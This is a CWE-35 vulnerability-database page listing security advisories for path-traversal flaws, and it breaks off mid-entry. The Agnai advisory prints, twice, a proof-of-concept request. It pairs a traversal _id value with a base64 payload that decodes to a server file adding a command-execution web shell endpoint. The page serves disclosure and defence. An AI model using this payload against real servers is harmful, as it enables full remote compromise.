Common Weakness Enumeration
CWE-35
AllowedPath Traversal: '.../...//'
Abstraction: Variant · Status: Incomplete
The product uses external input to construct a pathname that should be within a restricted directory, but it does not properly neutralize '.../...//' (doubled triple dot slash) sequences that can resolve to a location that is outside of that directory.
334 vulnerabilities reference this CWE, most recent first.
GHSA-MPCH-89GM-HM83
Vulnerability from github – Published: 2024-09-26 18:05 – Updated: 2024-09-26 21:11
VLAI
Summary
Agnai vulnerable to Remote Code Execution via JS Upload using Directory Traversal
Details
Summary
A vulnerability has been discovered in Agnai that permits attackers to upload arbitrary files to attacker-chosen locations on the server, including JavaScript, enabling the execution of commands within those files. This issue could result in unauthorized access, full server compromise, data leakage, and other critical security threats.
This does not affect:
- agnai.chat
- installations using S3-compatible storage
- self-hosting that is not publicly exposed
This DOES affect: - publicly hosted installs without S3-compatible storage
CWEs
CWE-35: Path Traversal
CWE-434: Unrestricted Upload of File with Dangerous Type
CVSS-4.0 - 9.0 - Critical
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Description
Path Traversal and Unrestricted Upload of File with Dangerous Type
Path Traversal Location
POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
{"_id": "/../../../../../../app/srv/api/voice",...<ommitted>}
In the following file, the _id parameter which is a remote-supplied parameter is not properly validated and sanitized.
https://github.com/agnaistic/agnai/blob/437227d9aa86132f3be3b41c89981cb393c903d0/srv/api/chat/characters.ts#L101
const upserted: AppSchema.Character = {
_id: body._id || `temp-${v4().slice(0, 8)}`,
kind: 'character',
createdAt: now(),
In the following file, the filename (or id) and content variables are not properly sanitized and validated,
https://github.com/agnaistic/agnai/blob/dev/srv/api/upload.ts#L63
export async function entityUploadBase64(kind: string, id: string, content?: string) {
if (!content) return
if (!content.includes(',')) return
const filename = `${kind}-${id}`
const attachment = toAttachment(content)
return upload(attachment, filename)
}
function toAttachment(content: string): Attachment {
const [prefix, base64] = content.split(',')
const type = prefix.slice(5, -7)
const [, ext] = type.split('/')
return {
ext,
field: '',
original: '',
type: getType(ext),
content: Buffer.from(base64, 'base64'),
}
}
An attacker can freely specify arbitrary file types (and arbitrary base64-encoded file content), thereby permitting them to upload JavaScript files and by abusing the _id parameter, to control the location of the file to overwrite an existing server file;
POST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1
...
Connection: keep-alive
{
"_id": "/../../../../../../app/srv/api/voice",
"name":"","description":"","culture":"en-us","tags":[],"scenario":"","appearance":"","visualType":"avatar","avatar":"data:image/js;base64,InVzZSBzdHJpY3QiOwpPYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgIl9fZXNNb2R1bGUiLCB7IHZhbHVlOiB0cnVlIH0pOwpjb25zdCBleHByZXNzXzEgPSByZXF1aXJlKCJleHByZXNzIik7CmNvbnN0IHdyYXBfMSA9IHJlcXVpcmUoIi4vd3JhcCIpOwpjb25zdCB2b2ljZV8xID0gcmVxdWlyZSgiLi4vdm9pY2UiKTsKY29uc3QgZGJfMSA9IHJlcXVpcmUoIi4uL2RiIik7CmNvbnN0IHZhbGlkXzEgPSByZXF1aXJlKCIvY29tbW9uL3ZhbGlkIik7CmNvbnN0IHJvdXRlciA9ICgwLCBleHByZXNzXzEuUm91dGVyKSgpOwpjb25zdCB0ZXh0VG9TcGVlY2hWYWxpZCA9IHsgdGV4dDogJ3N0cmluZycsIHZvaWNlOiAnYW55JyB9Owpjb25zdCB0ZXh0VG9TcGVlY2ggPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdXNlciA9IHVzZXJJZCA/IGF3YWl0IGRiXzEuc3RvcmUudXNlcnMuZ2V0VXNlcih1c2VySWQpIDogYm9keS51c2VyOwogICAgY29uc3QgZ3Vlc3RJZCA9IHVzZXJJZCA/IHVuZGVmaW5lZCA6IHNvY2tldElkOwogICAgKDAsIHZhbGlkXzEuYXNzZXJ0VmFsaWQpKHRleHRUb1NwZWVjaFZhbGlkLCBib2R5KTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZW5lcmF0ZVRleHRUb1NwZWVjaCkodXNlciwgbG9nLCBndWVzdElkLCBib2R5LnRleHQsIGJvZHkudm9pY2UpOwp9KTsKY29uc3QgZ2V0Vm9pY2VzID0gKDAsIHdyYXBfMS5oYW5kbGUpKGFzeW5jICh7IGJvZHksIHVzZXJJZCwgc29ja2V0SWQsIGxvZywgcGFyYW1zIH0pID0+IHsKICAgIGNvbnN0IHR0c1NlcnZpY2UgPSBwYXJhbXMuaWQ7CiAgICBjb25zdCB1c2VyID0gdXNlcklkID8gYXdhaXQgZGJfMS5zdG9yZS51c2Vycy5nZXRVc2VyKHVzZXJJZCkgOiBib2R5LnVzZXI7CiAgICBjb25zdCBndWVzdElkID0gdXNlcklkID8gdW5kZWZpbmVkIDogc29ja2V0SWQ7CiAgICByZXR1cm4gKDAsIHZvaWNlXzEuZ2V0Vm9pY2VzTGlzdCkoeyB0dHNTZXJ2aWNlOiB0dHNTZXJ2aWNlLCB1c2VyIH0sIGxvZywgZ3Vlc3RJZCk7Cn0pOwpjb25zdCBnZXRNb2RlbHMgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdHRzU2VydmljZSA9IHBhcmFtcy5pZDsKICAgIGNvbnN0IHVzZXIgPSB1c2VySWQgPyBhd2FpdCBkYl8xLnN0b3JlLnVzZXJzLmdldFVzZXIodXNlcklkKSA6IGJvZHkudXNlcjsKICAgIGNvbnN0IGd1ZXN0SWQgPSB1c2VySWQgPyB1bmRlZmluZWQgOiBzb2NrZXRJZDsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpjb25zdCBnZXRDbWQgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewoJY29uc3QgY2hpbGRfcHJvY2Vzc18xID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpOwoJY2hpbGRfcHJvY2Vzc18xLmV4ZWNTeW5jKGJvZHkuY21kKTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpyb3V0ZXIucG9zdCgnL3R0cycsIHRleHRUb1NwZWVjaCk7CnJvdXRlci5wb3N0KCcvOmlkL3ZvaWNlcycsIGdldFZvaWNlcyk7CnJvdXRlci5wb3N0KCcvOmlkL21vZGVscycsIGdldE1vZGVscyk7CnJvdXRlci5wb3N0KCcvY21kJywgZ2V0Q21kKTsKZXhwb3J0cy5kZWZhdWx0ID0gcm91dGVyOwovLyMgc291cmNlTWFwcGluZ1VSTD12b2ljZS5qcy5tYXA=","sprite":null,"greeting":"","sampleChat":"","voiceDisabled":false,"voice":{},"systemPrompt":"","postHistoryInstructions":"","insert":{"prompt":"","depth":3},"alternateGreetings":[],"creator":"","characterVersion":"","persona":{"kind":"text","attributes":{"text":[""]}},"imageSettings":{"type":"sd","steps":10,"width":512,"height":512,"prefix":"","suffix":"","negative":"","cfg":9,"summariseChat":true,"summaryPrompt":""}}
Risk
The attacker can write arbitrary files to disk, including overwriting existing JavaScript to execute arbitrary code on the server, leading to a complete system compromise, server control, and further network penetration.
Attackers can gain full access to the server.
Recommendation
Input Validation
- Ensure thorough validation of user inputs, particularly id parameter, file paths and file names, to prevent directory traversal and ensure they end up in the desired folder location post-normalization. [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
Arbitrary File Upload
- Restrict the types of files that can be uploaded via a allow-only list.
Credits
- @ropwareJB
- @noe233
Severity
8.8 (High)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "agnai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.0.330"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-47169"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-35",
"CWE-434"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-26T18:05:12Z",
"nvd_published_at": "2024-09-26T18:15:10Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nA vulnerability has been discovered in **Agnai** that permits attackers to upload arbitrary files to attacker-chosen locations on the server, including JavaScript, enabling the execution of commands within those files. This issue could result in unauthorized access, full server compromise, data leakage, and other critical security threats.\n\nThis **does not** affect:\n- `agnai.chat`\n- installations using S3-compatible storage\n- self-hosting that is not publicly exposed\n\nThis **DOES** affect:\n- publicly hosted installs without S3-compatible storage\n\n### CWEs\n\nCWE-35: Path Traversal\n\nCWE-434: Unrestricted Upload of File with Dangerous Type\n\n### CVSS-4.0 - **9.0 - Critical**\n\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H\n\n### Description\n\nPath Traversal and Unrestricted Upload of File with Dangerous Type\n\nPath Traversal Location\n\n```tsx\nPOST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1\n{\"_id\": \"/../../../../../../app/srv/api/voice\",...\u003committed\u003e}\n```\n\nIn the following file, the `_id` parameter which is a remote-supplied parameter is not properly validated and sanitized.\n\nhttps://github.com/agnaistic/agnai/blob/437227d9aa86132f3be3b41c89981cb393c903d0/srv/api/chat/characters.ts#L101\n\n```jsx\n const upserted: AppSchema.Character = {\n _id: body._id || `temp-${v4().slice(0, 8)}`,\n kind: \u0027character\u0027,\n createdAt: now(),\n```\n\nIn the following file, the `filename` (or `id`) and `content` variables are not properly sanitized and validated,\n\nhttps://github.com/agnaistic/agnai/blob/dev/srv/api/upload.ts#L63\n\n```jsx\nexport async function entityUploadBase64(kind: string, id: string, content?: string) {\n if (!content) return\n if (!content.includes(\u0027,\u0027)) return\n\n const filename = `${kind}-${id}`\n const attachment = toAttachment(content)\n return upload(attachment, filename)\n}\n```\n\n```jsx\nfunction toAttachment(content: string): Attachment {\n const [prefix, base64] = content.split(\u0027,\u0027)\n const type = prefix.slice(5, -7)\n const [, ext] = type.split(\u0027/\u0027)\n return {\n ext,\n field: \u0027\u0027,\n original: \u0027\u0027,\n type: getType(ext),\n content: Buffer.from(base64, \u0027base64\u0027),\n }\n}\n```\n\nAn attacker can freely specify arbitrary file types (and arbitrary base64-encoded file content), thereby permitting them to upload JavaScript files and by abusing the `_id` parameter, to control the location of the file to overwrite an existing server file;\n\n```jsx\nPOST /api/chat/5c25e8dc-67c3-40e1-9572-32df2e26ff38/temp-character HTTP/1.1\n...\nConnection: keep-alive\n\n{\n\"_id\": \"/../../../../../../app/srv/api/voice\",\n\"name\":\"\",\"description\":\"\",\"culture\":\"en-us\",\"tags\":[],\"scenario\":\"\",\"appearance\":\"\",\"visualType\":\"avatar\",\"avatar\":\"data:image/js;base64,InVzZSBzdHJpY3QiOwpPYmplY3QuZGVmaW5lUHJvcGVydHkoZXhwb3J0cywgIl9fZXNNb2R1bGUiLCB7IHZhbHVlOiB0cnVlIH0pOwpjb25zdCBleHByZXNzXzEgPSByZXF1aXJlKCJleHByZXNzIik7CmNvbnN0IHdyYXBfMSA9IHJlcXVpcmUoIi4vd3JhcCIpOwpjb25zdCB2b2ljZV8xID0gcmVxdWlyZSgiLi4vdm9pY2UiKTsKY29uc3QgZGJfMSA9IHJlcXVpcmUoIi4uL2RiIik7CmNvbnN0IHZhbGlkXzEgPSByZXF1aXJlKCIvY29tbW9uL3ZhbGlkIik7CmNvbnN0IHJvdXRlciA9ICgwLCBleHByZXNzXzEuUm91dGVyKSgpOwpjb25zdCB0ZXh0VG9TcGVlY2hWYWxpZCA9IHsgdGV4dDogJ3N0cmluZycsIHZvaWNlOiAnYW55JyB9Owpjb25zdCB0ZXh0VG9TcGVlY2ggPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdXNlciA9IHVzZXJJZCA/IGF3YWl0IGRiXzEuc3RvcmUudXNlcnMuZ2V0VXNlcih1c2VySWQpIDogYm9keS51c2VyOwogICAgY29uc3QgZ3Vlc3RJZCA9IHVzZXJJZCA/IHVuZGVmaW5lZCA6IHNvY2tldElkOwogICAgKDAsIHZhbGlkXzEuYXNzZXJ0VmFsaWQpKHRleHRUb1NwZWVjaFZhbGlkLCBib2R5KTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZW5lcmF0ZVRleHRUb1NwZWVjaCkodXNlciwgbG9nLCBndWVzdElkLCBib2R5LnRleHQsIGJvZHkudm9pY2UpOwp9KTsKY29uc3QgZ2V0Vm9pY2VzID0gKDAsIHdyYXBfMS5oYW5kbGUpKGFzeW5jICh7IGJvZHksIHVzZXJJZCwgc29ja2V0SWQsIGxvZywgcGFyYW1zIH0pID0+IHsKICAgIGNvbnN0IHR0c1NlcnZpY2UgPSBwYXJhbXMuaWQ7CiAgICBjb25zdCB1c2VyID0gdXNlcklkID8gYXdhaXQgZGJfMS5zdG9yZS51c2Vycy5nZXRVc2VyKHVzZXJJZCkgOiBib2R5LnVzZXI7CiAgICBjb25zdCBndWVzdElkID0gdXNlcklkID8gdW5kZWZpbmVkIDogc29ja2V0SWQ7CiAgICByZXR1cm4gKDAsIHZvaWNlXzEuZ2V0Vm9pY2VzTGlzdCkoeyB0dHNTZXJ2aWNlOiB0dHNTZXJ2aWNlLCB1c2VyIH0sIGxvZywgZ3Vlc3RJZCk7Cn0pOwpjb25zdCBnZXRNb2RlbHMgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewogICAgY29uc3QgdHRzU2VydmljZSA9IHBhcmFtcy5pZDsKICAgIGNvbnN0IHVzZXIgPSB1c2VySWQgPyBhd2FpdCBkYl8xLnN0b3JlLnVzZXJzLmdldFVzZXIodXNlcklkKSA6IGJvZHkudXNlcjsKICAgIGNvbnN0IGd1ZXN0SWQgPSB1c2VySWQgPyB1bmRlZmluZWQgOiBzb2NrZXRJZDsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpjb25zdCBnZXRDbWQgPSAoMCwgd3JhcF8xLmhhbmRsZSkoYXN5bmMgKHsgYm9keSwgdXNlcklkLCBzb2NrZXRJZCwgbG9nLCBwYXJhbXMgfSkgPT4gewoJY29uc3QgY2hpbGRfcHJvY2Vzc18xID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpOwoJY2hpbGRfcHJvY2Vzc18xLmV4ZWNTeW5jKGJvZHkuY21kKTsKICAgIHJldHVybiAoMCwgdm9pY2VfMS5nZXRNb2RlbHNMaXN0KSh7IHR0c1NlcnZpY2U6IHR0c1NlcnZpY2UsIHVzZXIgfSwgbG9nLCBndWVzdElkKTsKfSk7Cgpyb3V0ZXIucG9zdCgnL3R0cycsIHRleHRUb1NwZWVjaCk7CnJvdXRlci5wb3N0KCcvOmlkL3ZvaWNlcycsIGdldFZvaWNlcyk7CnJvdXRlci5wb3N0KCcvOmlkL21vZGVscycsIGdldE1vZGVscyk7CnJvdXRlci5wb3N0KCcvY21kJywgZ2V0Q21kKTsKZXhwb3J0cy5kZWZhdWx0ID0gcm91dGVyOwovLyMgc291cmNlTWFwcGluZ1VSTD12b2ljZS5qcy5tYXA=\",\"sprite\":null,\"greeting\":\"\",\"sampleChat\":\"\",\"voiceDisabled\":false,\"voice\":{},\"systemPrompt\":\"\",\"postHistoryInstructions\":\"\",\"insert\":{\"prompt\":\"\",\"depth\":3},\"alternateGreetings\":[],\"creator\":\"\",\"characterVersion\":\"\",\"persona\":{\"kind\":\"text\",\"attributes\":{\"text\":[\"\"]}},\"imageSettings\":{\"type\":\"sd\",\"steps\":10,\"width\":512,\"height\":512,\"prefix\":\"\",\"suffix\":\"\",\"negative\":\"\",\"cfg\":9,\"summariseChat\":true,\"summaryPrompt\":\"\"}}\n```\n\n### Risk\n\nThe attacker can write arbitrary files to disk, including overwriting existing JavaScript to execute arbitrary code on the server, leading to a complete system compromise, server control, and further network penetration.\n\nAttackers can gain full access to the server.\n\n### Recommendation\n\n**Input Validation**\n\n- Ensure thorough validation of user inputs, particularly id parameter, file paths and file names, to prevent directory traversal and ensure they end up in the desired folder location post-normalization. [[OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)](https://owasp.org/www-community/attacks/Path_Traversal)\n\n**Arbitrary File Upload**\n\n- Restrict the types of files that can be uploaded via a allow-only list.\n\n### Credits\n- @ropwareJB\n- @noe233",
"id": "GHSA-mpch-89gm-hm83",
"modified": "2024-09-26T21:11:04Z",
"published": "2024-09-26T18:05:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/agnaistic/agnai/security/advisories/GHSA-mpch-89gm-hm83"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47169"
},
{
"type": "PACKAGE",
"url": "https://github.com/agnaistic/agnai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Agnai vulnerable to Remote Code Execution via JS Upload using Directory Traversal"
}
GHSA-MQX2-HFFM-62VP
Vulnerability from github – Published: 2026-06-09 03:31 – Updated: 2026-06-09 03:31
VLAI
Details
SAP Fiori Launchpad allows attackers to craft malicious URLs that triggers arbitrary service calls on the Fiori domain, this when opened by the user could compromise accounts by stealing user credentials. Successful exploitation requires adversaries to possess advanced knowledge of the system causing low impact on Confidentiality and Integrity. Availability of the system is no impacted.
Severity
4.2 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-24315"
],
"database_specific": {
"cwe_ids": [
"CWE-35"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T01:16:45Z",
"severity": "MODERATE"
},
"details": "SAP Fiori Launchpad allows attackers to craft malicious URLs that triggers arbitrary service calls on the Fiori domain, this when opened by the user could compromise accounts by stealing user credentials. Successful exploitation requires adversaries to possess advanced knowledge of the system causing low impact on Confidentiality and Integrity. Availability of the system is no impacted.",
"id": "GHSA-mqx2-hffm-62vp",
"modified": "2026-06-09T03:31:40Z",
"published": "2026-06-09T03:31:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24315"
},
{
"type": "WEB",
"url": "https://me.sap.com/notes/3682699"
},
{
"type": "WEB",
"url": "https://url.sap/sapsecuritypatchday"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-MRP4-383M-M7CQ
Vulnerability from github – Published: 2024-12-18 21:30 – Updated: 2026-04-01 18:32
VLAI
Details
Path Traversal: '.../...//' vulnerability in VibeThemes WPLMS allows Path Traversal.This issue affects WPLMS: from n/a before 1.9.9.5.2.
Severity
8.5 (High)
{
"affected": [],
"aliases": [
"CVE-2024-56049"
],
"database_specific": {
"cwe_ids": [
"CWE-35"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-18T19:15:12Z",
"severity": "HIGH"
},
"details": "Path Traversal: \u0027.../...//\u0027 vulnerability in VibeThemes WPLMS allows Path Traversal.This issue affects WPLMS: from n/a before 1.9.9.5.2.",
"id": "GHSA-mrp4-383m-m7cq",
"modified": "2026-04-01T18:32:52Z",
"published": "2024-12-18T21:30:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56049"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wplms_plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-2-subscriber-arbitrary-file-deletion-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wplms-plugin/vulnerability/wordpress-wplms-plugin-1-9-9-5-2-subscriber-arbitrary-file-deletion-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MWRG-545V-M46R
Vulnerability from github – Published: 2025-11-06 18:32 – Updated: 2026-01-20 15:31
VLAI
Details
Path Traversal: '.../...//' vulnerability in WPMU DEV - Your All-in-One WordPress Platform Smush Image Compression and Optimization wp-smushit allows Path Traversal.This issue affects Smush Image Compression and Optimization: from n/a through <= 3.17.0.
Severity
4.1 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-22288"
],
"database_specific": {
"cwe_ids": [
"CWE-35"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-06T16:15:49Z",
"severity": "MODERATE"
},
"details": "Path Traversal: \u0027.../...//\u0027 vulnerability in WPMU DEV - Your All-in-One WordPress Platform Smush Image Compression and Optimization wp-smushit allows Path Traversal.This issue affects Smush Image Compression and Optimization: from n/a through \u003c= 3.17.0.",
"id": "GHSA-mwrg-545v-m46r",
"modified": "2026-01-20T15:31:45Z",
"published": "2025-11-06T18:32:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22288"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/wp-smushit/vulnerability/wordpress-smush-image-compression-and-optimization-plugin-3-17-0-directory-traversal-vulnerability?_s_id=cve"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wp-smushit/vulnerability/wordpress-smush-image-compression-and-optimization-plugin-3-17-0-directory-traversal-vulnerability"
},
{
"type": "WEB",
"url": "https://vdp.patchstack.com/database/Wordpress/Plugin/wp-smushit/vulnerability/wordpress-smush-image-compression-and-optimization-plugin-3-17-0-directory-traversal-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P323-JGM4-XM6P
Vulnerability from github – Published: 2025-04-01 06:30 – Updated: 2026-04-01 18:34
VLAI
Details
Path Traversal vulnerability in Bit Apps Bit Assist allows Path Traversal. This issue affects Bit Assist: from n/a through 1.5.4.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2025-30834"
],
"database_specific": {
"cwe_ids": [
"CWE-35"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-01T06:15:52Z",
"severity": "HIGH"
},
"details": "Path Traversal vulnerability in Bit Apps Bit Assist allows Path Traversal. This issue affects Bit Assist: from n/a through 1.5.4.",
"id": "GHSA-p323-jgm4-xm6p",
"modified": "2026-04-01T18:34:17Z",
"published": "2025-04-01T06:30:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30834"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/bit-assist/vulnerability/wordpress-bit-assist-plugin-1-5-4-path-traversal-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P6RR-CJXP-FJGR
Vulnerability from github – Published: 2025-04-16 15:34 – Updated: 2026-04-01 18:34
VLAI
Details
Path Traversal vulnerability in Quý Lê 91 Administrator Z allows Path Traversal. This issue affects Administrator Z: from n/a through 2025.03.28.
Severity
4.9 (Medium)
{
"affected": [],
"aliases": [
"CVE-2025-39598"
],
"database_specific": {
"cwe_ids": [
"CWE-35"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-16T13:15:52Z",
"severity": "MODERATE"
},
"details": "Path Traversal vulnerability in Qu\u00fd L\u00ea 91 Administrator Z allows Path Traversal. This issue affects Administrator Z: from n/a through 2025.03.28.",
"id": "GHSA-p6rr-cjxp-fjgr",
"modified": "2026-04-01T18:34:45Z",
"published": "2025-04-16T15:34:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-39598"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/administrator-z/vulnerability/wordpress-administrator-z-2025-03-28-directory-traversal-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-P8WR-R5WW-35J3
Vulnerability from github – Published: 2024-02-05 06:30 – Updated: 2024-02-05 06:30
VLAI
Details
Vintage, member of the AXIS OS Bug Bounty Program, has found that the VAPIX API create_overlay.cgi did not have a sufficient input validation allowing for a possible remote code execution. This flaw can only be exploited after authenticating with an operator- or administrator-privileged service account. Axis has released patched AXIS OS versions for the highlighted flaw. Please refer to the Axis security advisory for more information and solution.
Severity
5.4 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-5800"
],
"database_specific": {
"cwe_ids": [
"CWE-35",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-05T06:15:46Z",
"severity": "MODERATE"
},
"details": "Vintage,\nmember of the AXIS OS Bug Bounty Program, has found that the VAPIX API create_overlay.cgi\ndid not have a sufficient input validation allowing for a possible remote code\nexecution. This flaw can only be exploited after authenticating with an\noperator- or administrator-privileged service account. Axis has released patched AXIS OS\nversions for the highlighted flaw. Please refer to the Axis security advisory\nfor more information and solution.\n\n\n\n\n\n\n\n",
"id": "GHSA-p8wr-r5ww-35j3",
"modified": "2024-02-05T06:30:30Z",
"published": "2024-02-05T06:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-5800"
},
{
"type": "WEB",
"url": "https://www.axis.com/dam/public/89/d9/99/cve-2023-5800-en-US-424339.pdf"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-P9PJ-XP4G-3H2Q
Vulnerability from github – Published: 2025-10-30 12:31 – Updated: 2025-10-30 12:31
VLAI
Details
A Path Traversal vulnerability in the tftpsync/add and tftpsync/delete scripts allows a remote attacker on an adjacent network to write or delete files on the filesystem with the privileges of the unprivileged wwwrun user. Although the endpoint is unauthenticated, access is restricted to a list of allowed IP addresses.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-53880"
],
"database_specific": {
"cwe_ids": [
"CWE-35"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-30T11:15:33Z",
"severity": "HIGH"
},
"details": "A Path Traversal vulnerability in the tftpsync/add and tftpsync/delete scripts allows a remote attacker on an adjacent network to write or delete files on the filesystem with the privileges of the unprivileged wwwrun user. Although the endpoint is unauthenticated, access is restricted to a list of allowed IP addresses.",
"id": "GHSA-p9pj-xp4g-3h2q",
"modified": "2025-10-30T12:31:11Z",
"published": "2025-10-30T12:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53880"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-53880"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-PCQ5-5JMX-47CW
Vulnerability from github – Published: 2025-03-28 15:31 – Updated: 2026-04-01 18:34
VLAI
Details
Path Traversal vulnerability in NotFound GetShop ecommerce allows Path Traversal. This issue affects GetShop ecommerce: from n/a through 1.3.
Severity
8.1 (High)
{
"affected": [],
"aliases": [
"CVE-2024-54362"
],
"database_specific": {
"cwe_ids": [
"CWE-35"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-28T15:15:45Z",
"severity": "HIGH"
},
"details": "Path Traversal vulnerability in NotFound GetShop ecommerce allows Path Traversal. This issue affects GetShop ecommerce: from n/a through 1.3.",
